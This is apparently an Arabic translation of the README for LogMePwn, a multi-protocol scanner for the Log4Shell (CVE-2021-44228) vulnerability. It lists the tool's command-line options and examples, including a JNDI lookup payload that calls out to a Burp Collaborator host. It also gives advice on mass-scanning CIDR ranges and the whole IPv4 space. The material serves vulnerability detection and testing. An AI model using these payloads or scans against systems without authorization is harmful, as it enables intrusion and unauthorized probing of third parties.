
مجموعة أدوات فحص وتحقق آلية بالكامل، موثوقة، فائقة السرعة لثغرة Log4J RCE CVE-2021-44228.
LogMePwn هي أداة فحص وتحقق مؤتمتة بالكامل، متعددة البروتوكولات، موثوقة، فائقة السرعة لثغرة Log4J RCE CVE-2021-44228.

يعمل LogMePwn باستخدام Canary Tokens، والتي بدورها توفر إشعارات عبر البريد الإلكتروني وwebhooks إلى قنوات الاتصال المفضلة لديك. إذا كان لديك خادم رد اتصال مخصص، يمكنك بالتأكيد استخدامه أيضاً!
لاستخدام الأداة، يمكنك الحصول على ملف ثنائي من قسم Releases حسب توزيعتك واستخدامه. إذا كنت ترغب في بناء الأداة، ستحتاج إلى Go >= 1.13. ببساطة استنسخ المستودع وشغّل go build.
إليك الاستخدام الأساسي للأداة:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Specify a custom callback server.
-delay int
Delay between subsequent requests for the same host to avoid overwhelming the host.
-email string
Email to use for the receiving callback notifications.
-fbody string
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-payload string
Specify a single payload or a file containing list of payloads to use.
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Canary token payload to use in requests; if empty, a new token will be generated.
-user-agent string
Custom user-agent string to use; if empty, payloads will be used.
-webhook string
Webhook to use for receiving callback notifications.
-xml
Use body of type XML in HTTP requests that can contain a body.
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
جديد: هذه الميزة أُضيفت في الإصدار v2.0.
مع أحدث إصدار، تم إدخال دعم لعدة بروتوكولات. لدينا حتى الآن 4 بروتوكولات مختلفة:
إذا لم تحدد بروتوكولاً عبر وسيط -protocol، ستقوم الأداة بتشغيل جميع الإضافات لكل بروتوكول مدعوم مقابل مجموعة المنافذ الافتراضية المذكورة.
انظر كيفية التحكم في المنافذ لكل بروتوكول.
مثال:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # يفحص جميع البروتوكولات على المنافذ الافتراضية
يمكن تحديد الأهداف بطريقتين: عبر واجهة سطر الأوامر كوسائط، أو عبر ملف.
جديد: يمكنك الآن تمرير نطاقات CIDR لفحصها! هذه الميزة أُضيفت في الإصدار v1.1.
مثال:
./lmp <وسائط أخرى هنا> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <وسائط أخرى هنا> -file internet-ranges.lst
./lmp <وسائط أخرى هنا> 192.168.0.0/26 1.2.3.4/30
كل بروتوكول لديه قائمة افتراضية من المنافذ المرتبطة به والتي يمكن ضبطها باستخدام الأعلام التالية:
-http-ports لـ HTTP.-imap-ports لـ IMAP.-ssh-ports لـ SSH.-ftp-ports لـ FTP.إذا ذكر المستخدم زوج مضيف+منفذ بصيغة host:port، يتم تجاهل قائمة المنافذ الافتراضية ويتم إجراء جميع الفحوصات لذلك المنفذ المحدد. إذا لم يتم ذكر -protocol، سيتم اختبار إضافات جميع البروتوكولات على نفس المنفذ.
هذه الميزة أُضيفت في الإصدار v1.1.
يمكنك تحديد حمولة مباشرة عبر وسيط -payload. ولكن إذا كنت تريد اسم DNS للمضيف الذي يتم اختباره في الحمولة، يمكنك تحديد توجيه تنسيق $DNSNAME$ والذي سيتم استبداله بالهدف الذي يتم اختبار الحمولة ضده.
مثال: إذا قدمت أمراً مثل هذا:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
عند إرسال طلب HTTP إلى الرابط، ستبدو الحمولة هكذا:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
هذه الميزة ستساعدك في تقييم أي المضيفين عرضة للخطر عند إجراء التفحيم الصندوق الأسود.
يمكنك أيضاً تحديد حمولة تحتوي على عدة متغيرات من الحمولة باستخدام نفس الوسيط. (انظر payloads-sample.txt). مثال:
./lmp -payload payloads-sample.txt vulnerable.site.com
ملاحظة: هذه الميزة لا تعمل مع Canary Tokens. لا تدعم Canarytokens تنسيقات DNS مخصصة.
ملاحظة: إذا كنت تقدم حمولة مخصصة باستخدام
-payload، فإن تحديد قناة إشعار ليس ضرورياً. يجب أن تحتوي الحمولة نفسها على خادم رد الاتصال الخاص بك.
يمكن أن تكون قنوات الإشعارات أي مما يلي:
-email)-webhook)-custom-server)تستخدم الأداة Canary Tokens، يمكنك إنشاء واحد من هنا، أو دع الأداة تنشئ رمزاً لك. إذا أنشأت الأداة رمزاً، سيتم كتابته في ملف باسم canarytoken-logmepwn.json، والذي سيتضمن الرمز نفسه والمصادقة (كلاهما ستحتاجه لعرض المشغلات عبر واجهة الويب).
إذا كان لديك بالفعل رمز مميز، يمكنك استخدام وسيط -token لاستخدام الرمز مباشرة وعدم إنشاء رمز جديد.
ملاحظة: إذا قمت بتوفير بريد إلكتروني أو webhook، ستقوم الأداة بإنشاء canary token مخصص. إذا كنت تستخدم خادم رد اتصال مخصص، فإن الرموز لا تدخل في اللعبة.
توفر الأداة مرونة كبيرة عند إرسال الطلبات. افتراضياً تستخدم الأداة طلبات GET. يتم استخدام مجموعة افتراضية من الرؤوس، كل منها يحتوي على حمولة في قيمتها. يمكنك تحديد مجموعة مخصصة من الرؤوس عبر وسيط -headers. يمكنك استخدام مفتاح -headers-file لتوفير ملف يحتوي على قائمة من الرؤوس. أمثلة:
./lmp <وسائط أخرى> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <وسائط أخرى> -headers-file headers.txt 1.2.3.4:8080
يمكنك تحديد قائمة طرق HTTP لاستخدامها في الفحص عبر مفتاح -methods. بالنسبة للطلبات التي تحتوي على نص (Body)، مثل POST، PUT، إلخ، يمكنك تخصيص محتوى النصوص.
افتراضياً ترسل الأداة حمولة مباشرة عبر النص. تقدم الأداة تخصيص النص بالطرق التالية:
-json ليكون نص الطلب من نوع JSON.-xml لتنسيق XML.-fbody لتحديد سلسلة تنسيق مخصصة سيتم حقن الحمولة فيها. هذا يسمح بإنشاء طلبات معقدة عند الاختبار. على سبيل المثال، إذا كنت تريد إرسال المحتوى كـ HTML، يمكن أن يبدو هكذا:
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
يمكنك تحديد قيمة رأس user-agent مخصصة عبر مفتاح -user-agent.
الأداة محسّنة لفحص نطاق واسع من الأهداف. مع عرض نطاق ترددي كافٍ وعتاد، يمكنك فحص مساحة IPv4 بأكملها خلال يوم. العدد الافتراضي للخيوط المتزامنة المستخدمة أثناء الفحص مضبوط على 10 فقط (محسّن للموثوقية على العتاد المحلي). يمكن أن تصل القيمة إلى الآلاف (سأترك مهمة قياس الأداء لك). :)
استخدم مفتاح -threads لتوفير عدد الخيوط لاستخدامها مع الأداة.
نظراً لاشتراك العديد من طلبات HTTP، قد تكون معالجة الطلبات مهمة شاقة للمضيف البعيد. معامل -delay موجود لمساعدتك في هذه الحالات. يمكنك تحديد قيمة تأخير بالثواني - سيتم استخدامها بين طلبين متتاليين لنفس المنفذ على الخادم.
لتوضيح الماسح الضوئي، أستخدم إعداداً ضعيفاً من @christophetd باستخدام docker:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

ثم أشغّل الأداة ضد الإعداد:
./lmp -email [email protected] -protocol http 127.0.0.1:8080

والذي أثار على الفور بعض عمليات بحث DNS ظاهرة على صفحة تاريخ الرمز وكذلك على بريدي الإلكتروني:

تحديثات الإصدار v2.0:
تحديثات الإصدار v1.1:
لا تتردد في التواصل معي على تويتر أو إنشاء issue أو PR.
الأداة مرخصة بموجب GNU GPLv3. LogMePwn حالياً في الإصدار v2.0.
تحية لفريق Thinkst Canary لمشروعهم الرائع Canary Tokens.
صُنع بحب ♡ بواسطة Pinaki (@0xInfection).